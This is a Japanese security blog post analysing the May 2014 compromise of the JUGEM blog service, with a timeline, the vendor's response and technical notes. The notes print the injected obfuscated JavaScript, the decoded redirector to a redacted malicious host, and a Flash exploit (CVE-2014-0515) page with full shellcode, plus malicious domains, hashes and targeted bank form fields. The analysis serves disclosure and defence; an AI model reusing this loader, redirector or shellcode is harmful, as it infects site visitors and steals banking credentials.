piyolog

piyokangoの備忘録です。セキュリティの出来事を中心にまとめています。このサイトはGoogle Analyticsを利用しています。

JUGEMブログの改ざんについてまとめてみた

GMOペパボ株式会社のブログサービス JUGEMで発生したHP改ざんについてここではまとめます。

概要

2014年5月28日、GMOペパボ株式会社は同社のブログサービスの一部が改ざんされたことを発表しました。改ざんされたWebサイトを閲覧した場合、閲覧した環境次第ではマルウェアに感染する可能性がありました。同社は改ざん経路、原因等詳細については調査中としています。

(1) 被害状況

被害対象
被害内容
  • 被害対象のWebサイトを閲覧した際、JavaScriptが改ざんされており、外部のWebサイトへ接続が行われるようになっていた。
  • マルウェアに感染する可能性のある条件
    • WindowsOS、かつFlashPlayerがインストールされていること
    • 改ざんされた期間においてJUGEMブログを閲覧するのが初めてであること
    • 日本語環境であること
    • Adobe Flash脆弱性CVE-2014-0515が修正されていないこと(13.0.0.182以前のバージョン)

(2) 発端

  • 同社がウイルス対策ソフトによる検知がされているとの問い合わせを受けたことによる。

(3) 原因

  • JUGEMが利用する外部サービスへの不正アクセスである可能性。
    • 詳細については現在調査中。

(4) 対応・対策

  • 不正アクセス被害に関する発表
  • 改ざんされたJavaScriptの修正
  • 被害詳細について継続調査
  • ブログ管理者、閲覧したユーザーへ被害を受けた場合の対応について案内
  • 問題が発生した外部サービスの一部機能の利用を停止
  • 安全確認できた環境への切り替え準備

インシデントタイムライン

日時 内容
05/24 未明 JUGEMブログが改ざんされる。
05/26 21:26 Yahoo!知恵袋JUGEMウイルス対策ソフトが検知するとの書き込みが行われる。
05/27 18:42 JUGEMブログが改ざんされているとの指摘がセキュリティ関連ブログに掲載される
05/28 12時頃 GMOペパボが改ざんされたJavaScriptを修正した模様。
05/28 12:19 GMOペパボJUGEMブログを閲覧した際にウィルス対策ソフトが動作することを報告。
05/28 20:18 GMOペパボがウィルス対策ソフトの動作がJUGEMの改ざんが原因であったことを報告。
05/28 23:40 GMOペパボJUGEMで利用している外部サービスへの不正アクセスが原因である可能性を報告。
05/29 8:00 GMOペパボが継続調査中であることを報告。
05/29 14:00 GMOペパボが継続調査中であることを報告。
05/29 19:02 GMOペパボSymantecの調査結果を報告。Infostealer.Bankeiya.Bに感染することが判明。
05/29 21:00 GMOペパボが外部サービスの切替を行い、最終確認中であることを報告。
05/29 21:48 GMOペパボが切替後の最終確認が完了しサービスが正常な状態に戻ったことを報告。
05/29 不明 GMOペパボが影響が及んだサービスを公開し、注意喚起の呼びかけを依頼。

トレースメモ

ここからは当該インシデントに関係する技術的なメモです。

改ざんサイトを踏んだ際に感染するマルウェア挙動(推測)

  • 感染するマルウェアは複数種類ある模様。
  • 推測した↑図の流れはDownloader(TANDFUY)まで?この後Infostealer.Bankeiya.Bが落ちてくる?
接続するドメイン(アダルトサイト有り)

www.nanki-pg.co.jp/bbs/data/update/ja523.jpg
www.pluspoint.jp/member/img/ja523.jpg
www.myjeje.net/ja523.jpg
snsdate.gndot.com/ja523.jpg
www.uravidata.com/images/ja523.jpg
www.yahoo.co.jp/ja523.jpg
www.nate.com/ja523.jpg
www.srhan.co.kr/bbs/data/free/ja523.jpg
www.msn.com/ja523.jpg
www.hangame.com/ja523.jpg
www.gizmodo.jp/ja523.jpg
www.joinsmsn.com/ja523.jpg
www.joins.com/ja523.jpg
www.plaync.jp/ja523.jpg
www.tistory.com/start/ja523.jpg
www.nexon.com/ja523.jpg
user.nexon.com/ja523.jpg
www.netmarble.net/ja523.jpg

http://intumyself.tistory.com/m/post/389

SymantecInfostealer.Bankeiya.Bのテクニカルノート

  • 発見日 2014年5月28日(記述者:Takoyoshi Nakayama)
  • 接続先がTANDFUYの通信先と重複しているものが存在する。
接続するドメイン(アダルトサイト有り)
  • マルウェア接続先
    • www.uravidata.com
  • DLLファイルダウンロード先
    • www.nanki-pg.co.jp
  • 窃取情報アップロード先
    • www.tvnews.or.kr
    • www.eshining.co.kr
マルウェアの文字セットとオンラインバンクの対応
セット 対応すると思われるオンラインバンク 文字列
セット1 三菱東京UFJ銀行 _PAGEID=
_SENDTS=
KEIYAKU_NO=
PASSWORD=
セット2 不明 _PAGEID=
_SENDTS=
KAKUNIN_NO=
セット3 三井住友銀行 domainSumitomo=
USRID=
USRID1=
USRID2=
PASSWORD=
セット4 不明 TrxID=
V_OTPW_PASSWORD=
PASSWD2_1=
PASSWD2_2=
セット5 ゆうちょ銀行 event=
okyakusamaBangou1=
okyakusamaBangou2=
okyakusamaBangou3=
pm_fp=
セット6 ゆうちょ銀行? event=
aikotoba=
pm_fp=
セット7 ゆうちょ銀行? event=
loginPassword=
pm_fp=
セット8 ゆうちょ銀行? event=
shouninAnshouBangou=
セット9 不明 KeiyakuNo=
Next=
pm_fp=
セット10 みずほ銀行 NLS=
Anshu1No=
jsAware=
セット11 みずほ銀行 NLS=
Anshu2=
Anshu2_2=
Anshu2_3=
Anshu2_4=
pm_fp=
セット12 みずほ銀行 NLS=
InknKzBox=
InknKzNo=
InputThrKn=
pm_fp=
セット13 みずほ銀行 jsAware=
NLS=
rskAns=
www.nanki-pg.co.jpに関連する情報
  • 南紀プロパンガス株式会社
  • 設置されていたと思われる「admin32.gif」は削除済み。

5月28日時点での改ざん被害状況の推測

  • 推測多分に含むのであってるか分かりません。
  • GMOペパボが外部サービスの切替報告した後もCDNetworksから変更は行われていないため別サービスの可能性もあり。

JUGEM発表の不正アクセスを受けた外部サービスは「CDNetworks」?


改ざんされたJavaScriptに関する情報

  • 5/27のimaging.jugem.jp/js/jugemlib/viewuser.js
    • MM_swapphotoes()が埋め込まれている。
    • 他3つのJavaScriptも似たような改ざんされていたと思われる。

var ViewUser = (function ()
{
constructor function ViewUser(name)
{
this._name = name;
}
// 本関数はブログを閲覧しているユーザーがログインしているかどうかの状態を // 取得して、ログインしていれば true、ログインしていなければ false を返します function isAuthenticated()
{
if (document.cookie)
{
var cookies = document.cookie.split("; ");
for (var i = 0; i < cookies.length; i++)
{
var cookie = cookies[i].split("=");
// ログインしているかどうかは閲覧中ユーザーのブラウザに jl という名前のクッキーが // あるかどうかで判定します。 if (cookie[0] == "jl") {
return true;
}
}
}
return false;
}
ViewUser.prototype = {
constructor : ViewUser, // 以下 public メソッド isAuthenticated : isAuthenticated
};
return ViewUser;
}
());
function MM_swapphotoes(s)
{
var r = new Array();
var curr = 0;
while (s.charAt(curr) != '\n')
{
var tmp = 0;
for (var i = 6; i >= 0 ; i-- ) {
if (s.charAt(curr) == ' ') {
tmp = tmp | (Math.pow(2, i));
}
curr++;
}
r.push(String.fromCharCode(tmp));
}
return r.join('');
}
Function(MM_swapphotoes(" \n"))();
  • MM_swapphotoesを呼ぶと返されるJavaScript
    • cookie「realplayer1213」を発行する。
    • cookieの有効期限は720時間。
    • cookieが確認が出来れば不正接続先のサーバーへはアクセスはしない。
    • 韓国のサーバーに接続しに行く。

<script> function isopen()
{
if (navigator.language == "ja-JP" || navigator.language == "ja" || navigator.systemLanguage == "ja-JP" || navigator.systemLanguage == "ja") {
return true;
}
else {
return false;
}
}
if (document.cookie.indexOf("realplayer1213") ==- 1)
{
var expires = new Date();
expires.setTime(expires.getTime() 720 * 60 * 60 * 1000);
document.cookie = "realplayer1213=Yes;path=/;expires=" expires.toGMTString();
if (isopen())
{
document.write("<" "s" "c" "ri" "p" "t" " src=http://[evilsite]/ad/ads.jpg></" "s" "c" "ri" "p" "t>");
}
}
</script>

正接続先に関する情報

Whois
  • 運営元 SK Broadband Co Ltd(韓国)



[Querying whois.apnic.net]
[Redirected to whois.nic.or.kr]
[Querying whois.nic.or.kr]
[whois.nic.or.kr]
query : 1.234.35.42

# KOREAN(UTF8)
조회하신 IPv4주소는 한국인터넷진흥원으로부터 아래의 관리대행자에게 할당되었으며, 할당 정보는 다음과 같습니다.
[ 네트워크 할당 정보 ]
IPv4주소 : 1.234.0.0 - 1.255.255.255 (/12+/14+/15)
서비스명 : broadNnet
기관명 : 에스케이브로드밴드주식회사
기관고유번호 : ORG3930
주소 : 서울특별시 중구 퇴계로 24, SK남산그린빌딩 (남대문로5가)
우편번호 : 100-711
할당일자 : 20100726
[ IPv4주소 책임자 정보 ]
이름 : 관리자
전화번호 : +82-2-106-2
전자우편 : [email protected]
[ IPv4주소 담당자 정보 ]
이름 : 관리자
전화번호 : +82-2-106-2
전자우편 : [email protected]
[ 스팸 해킹 담당자 정보 ]
이름 : 관리자
전화번호 : +82-2-106-2
전자우편 : [email protected]

                                                                                                                                                              • -

조회하신 IPv4주소는 위의 관리대행자로부터 아래의 사용자에게 할당되었으며, 할당 정보는 다음과 같습니다.
[ 네트워크 할당 정보 ]
IPv4주소 : 1.234.32.0 - 1.234.47.255 (/20)
네트워크 이름 : HANANET-INFRA
기관명 : 에스케이브로드밴드주식회사
기관고유번호 : ORG3930
주소 : 서울특별시 중구 퇴계로 24, SK남산그린빌딩 (남대문로5가)
우편번호 : 100-711
할당내역 등록일 : 20110208
공개여부 : Y
[ 네트워크 담당자 정보 ]
이름 : 관리자
기관명 : broadNnet
주소 : 서울특별시 중구 퇴계로 24, SK남산그린빌딩 (남대문로5가)
우편번호 : 100-711
전화번호 : +82-2-106-2
전자우편 : [email protected]

# ENGLISH
KRNIC is not an ISP but a National Internet Registry similar to APNIC.
[ Network Information ]
IPv4 Address : 1.234.0.0 - 1.255.255.255 (/12+/14+/15)
Service Name : broadNnet
Organization Name : SK Broadband Co Ltd
Organization ID : ORG3930
Address : 267, Seoul Jung-gu Toegye-ro
Zip Code : 100-711
Registration Date : 20100726
[ Admin Contact Information ]
Name : IP manager
Phone : +82-2-106-2
E-Mail : [email protected]
[ Tech Contact Information ]
Name : IP manager
Phone : +82-2-106-2
E-Mail : [email protected]
[ Network Abuse Contact Information ]
Name : manager
Phone : +82-2-106-2
E-Mail : [email protected]

                                                                                                                                                              • -

More specific assignment information is as follows.
[ Network Information ]
IPv4 Address : 1.234.32.0 - 1.234.47.255 (/20)
Network Name : HANANET-INFRA
Organization Name : SK Broadband Co Ltd
Organization ID : ORG3930
Address : 267, Seoul Jung-gu Toegye-ro
Zip Code : 100-711
Registration Date : 20110208
Publishes : Y
[ Technical Contact Information ]
Name : IP manager
Organization Name : SK Broadband Co Ltd
Address : 267, Seoul Jung-gu Toegye-ro
Zip Code : 100-711
Phone : +82-2-106-2
E-Mail : [email protected]

正接続先サーバーに関する情報
  • 2014年5月24日には存在が確認されている。

公開されていたファイル


  • 今回悪用が確認されているのはこの内次のファイル
    • /ad/ads.jpg
    • /ad/270x320.swf
    • /ad/jp.gif
    • /ad/bp.gif
    • /inf/news1.gif
  • Redirecter
FileName FileTimestamp SHA256
ads.jpg.flash 2014/05/24 22:23 52b8360661ff44c3cabc273ffb81945ece198a728a9e81bab3167d0eea050ab3
ads.jpg.flash_java 2014/05/24 22:23 51dfe447ac5113b0864716a2c0a7db7ccd48f870d4abdfb0de917a8bb8916c52
ads.jpg 2014/05/25 03:06 1ff764e181d99b1bd4a04c3243f26f04d15969234edacd4b53ab2219d093f4a8
  • Exploit(CVE-2014-0515)
FileName FileTimestamp SHA256
ads.swf 2014/05/25 01:01 99cbc7f7b7b4141f72762c5cb57727c08046b001418b3a1d393dbc7d7d686830
270x320.swf 2014/05/27 23:50 ea07c0b9e765f4ebb026184cbe1b09cc3071a7992a989453d8814b69bba3e217
270x320.swf.5.27 2014/05/27 23:50 dc1a24b348968032738d0ed6e2228511a9c0fc1c633189e167b57c50ace9e42e
Groph.swf 2014/05/27 23:59 270x320.swfと同一のファイル
  • Exploit(CVE-2013-3897?)
FileName FileCreateDate SHA256
menu.html 2014:05:27 21:24:10+01:00 ab4c3dc8127bb5316b3bd3616c3fc402258dc9b3aba807de0c516df25e1e116f
  • Payload(Unknown)
FileName FileTimestamp SHA256
523.gif 2014/05/24 00:29 a35f0eb84adec621fb3f7981bd2c1546ce5ea75ce7d8fa917e633a4ea144456b
xp.gif.del 2014/05/24 22:02 0e9f50a9513b571ae36b938f7dc0dd3d1bb76b8b9d943d9e469ed02cd9dd7273
12.gif 2014/05/24 14:32 baf923d358034a0c0b01bca6770db57c2895a96a9fdfeec41b7364c9387e8c94
bp.gif 2014/05/28 00:39 bc3afafd6d7c878857fb0d5a70bf52b9abdccdd119c660900c287d6b1bd9f635
  • Payload(Tandfuy/Symmi)
FileName Compilation timestamp SHA256
jp.gif.old 2014/05/24 00:06 2a9360903848fc29d924f6da45b85694b185cc8a99e80c6b72bb16b11fff1211
jp.gif.pedown_UACdown 2014/05/26 21:01 0e9f50a9513b571ae36b938f7dc0dd3d1bb76b8b9d943d9e469ed02cd9dd7273
jp.gif.muma 2014/05/27 22:57 a35f0eb84adec621fb3f7981bd2c1546ce5ea75ce7d8fa917e633a4ea144456b
jp.gif 2014/05/27 23:03 a35f0eb84adec621fb3f7981bd2c1546ce5ea75ce7d8fa917e633a4ea144456b
Redirectorの中身
  • ads.jpg
    • swfファイルにリダイレクトするのみ

document.write('<embed src=http://[evilsite]/ad/270x320.swf width="1" height="1"></embed>');

document.write(' <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />');
document.write(' <param name=\"movie\" value=\"http://[evilsite]/ad/ads.swf\" />');
document.write(' <param name=\"allowScriptAccess\" value=\"always\" />');
document.write(' <param name=\"FlashVars\" value=\"sh=0x90909090,0x335560FC,0x358B64C9,0x00000030,0x8B0C768B,0x6E8B1C76,0x207E8B08,0x4F38368B,0x8BF37518,0x64EC83FD,0x478BEC8B,0x07548B3C,0x8BD70378,0x5A8B184A,0x49DF0320,0x038B348B,0x6547B8F7,0x06395074,0x72B8F175,0x3941636F,0xE7750446,0x03245A8B,0x0C8B66DF,0x1C5A8B4B,0x048BDF03,0x89C7038B,0x006A4C45,0x79726168,0x694C6841,0x4C687262,0x5464616F,0x4C55FF57,0x6A504589,0x73656800,0x50680073,0x68636F72,0x74697845,0x55FF5754,0x5445894C,0x7868006A,0x68006365,0x456E6957,0x55FF5754,0x5845894C,0x6C68006A,0x6800636F,0x6C416C61,0x6F6C4768,0xFF575462,0x45894C55,0x68006A5C,0x41687461,0x706D6568,0x65476850,0x57545474,0x894C55FF,0x006A6045,0x6E686C6A,0x546C6474,0x8B5055FF,0x68006AF8,0x00007461,0x72747368,0xFF575463,0x45894C55,0x68006A64,0x00006E6F,0x6C727568,0x55FF546D,0x6AF88B50,0x41656800,0x6F680000,0x686C6946,0x5464616F,0x6E776F68,0x5255686C,0x5754444C,0x894C55FF,0x04686845,0x6A000001,0x5C55FF40,0x506C4589,0x00010468,0x6055FF00,0x6A6C458B,0x68656A00,0x78652E31,0x676D6968,0xFF505430,0x006A6455,0x69672E68,0x2F646866,0x3468706A,0x68612F32,0x2E35332E,0x33322E68,0x2F3A6834,0x6868312F,0x54707474,0x6A006A5B,0x6A535000,0x6855FF00,0x6A6C458B,0x55FF5000,0xFF006A58,0x90615455\" />');
document.write(' <param name=\"Play\" value=\"true\" />');
document.write(' </object>');

function isxp()
{
if (navigator.userAgent.indexOf("Windows NT 5.1") > -1 || navigator.userAgent.indexOf("Windows XP") > -1) {
return true;
}
else {
return false;
}
}
function iswin7()
{
if (navigator.userAgent.indexOf("Windows NT 6") > -1) {
return true;
}
else {
return false;
}
}
var javawsInstalled = 0;
var javaws142Installed = 0;
var javaws150Installed = 0;
if (navigator.mimeTypes && navigator.mimeTypes.length)
{
x = navigator.mimeTypes['application/x-java-jnlp-file'];
if (x) {
javawsInstalled = 1;
javaws142Installed = 1;
javaws150Installed = 1;
}
}
else
{
try
{
var java = new ActiveXObject("JavaWebStart.isInstalled");
if (java)
{
document.write('<' + 'i' + 'f' + 'ra' + 'm' + 'e' + ' src=http://[evilsite]/inf/ja.html width=0 height=0></' + 'i' + 'f' + 'ra' + 'm' + 'e>');
}
}
catch (ex) {}
if (!java)
{
document.write(' <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />');
document.write(' <param name=\"movie\" value=\"http://[evilsite]/ad/ads.swf\" />');
document.write(' <param name=\"allowScriptAccess\" value=\"always\" />');
document.write(' <param name=\"FlashVars\" value=\"sh=0x90909090,0x335560FC,0x358B64C9,0x00000030,0x8B0C768B,0x6E8B1C76,0x207E8B08,0x4F38368B,0x8BF37518,0x64EC83FD,0x478BEC8B,0x07548B3C,0x8BD70378,0x5A8B184A,0x49DF0320,0x038B348B,0x6547B8F7,0x06395074,0x72B8F175,0x3941636F,0xE7750446,0x03245A8B,0x0C8B66DF,0x1C5A8B4B,0x048BDF03,0x89C7038B,0x006A4C45,0x79726168,0x694C6841,0x4C687262,0x5464616F,0x4C55FF57,0x6A504589,0x73656800,0x50680073,0x68636F72,0x74697845,0x55FF5754,0x5445894C,0x7868006A,0x68006365,0x456E6957,0x55FF5754,0x5845894C,0x6C68006A,0x6800636F,0x6C416C61,0x6F6C4768,0xFF575462,0x45894C55,0x68006A5C,0x41687461,0x706D6568,0x65476850,0x57545474,0x894C55FF,0x006A6045,0x006E6F68,0x72656800,0x47686973,0x54567465,0x4C55FF57,0x6A704589,0x64616800,0x54680000,0x68657268,0x74697845,0x55FF5754,0x7445894C,0x6C6A006A,0x64746E68,0x55FF546C,0x6AF88B50,0x68646A00,0x61657268,0x72657368,0x69786854,0x52685574,0x54456C74,0x4C55FF57,0x6A784589,0x74616800,0x73680000,0x54637274,0x4C55FF57,0x6A644589,0x6E6F6800,0x75680000,0x546D6C72,0x8B5055FF,0x68006AF8,0x00004165,0x69466F68,0x616F686C,0x6F685464,0x686C6E77,0x444C5255,0x55FF5754,0x6845894C,0x00010468,0xFF406A00,0x45895C55,0x0468506C,0xFF000001,0x458B6055,0x6A006A6C,0x2E316867,0x6968706A,0x5430676D,0x6455FF50,0x2E68006A,0x68666967,0x706A2F64,0x2F323468,0x332E6861,0x2E682E35,0x68343332,0x312F2F3A,0x74746868,0x6A5B5470,0x50006A00,0xFF006A53,0x458B6855,0x50006A6C,0x6A5855FF,0x5455FF00,0x61909090\" />');
document.write(' <param name=\"Play\" value=\"true\" />');
document.write(' </object>');
}
}

更新履歴

  • 2014/05/28 PM 新規作成
  • 2014/05/29 AM JUGEM発表の外部サービスに関する情報について追記
  • 2014/05/29 PM マルウェアの挙動について追記
  • 2014/05/29 PM Symantecテクニカルノートについて追記
  • 2014/05/30 AM 図に誤りがあったため修正
  • 2014/05/31 PM 最新情報を反映。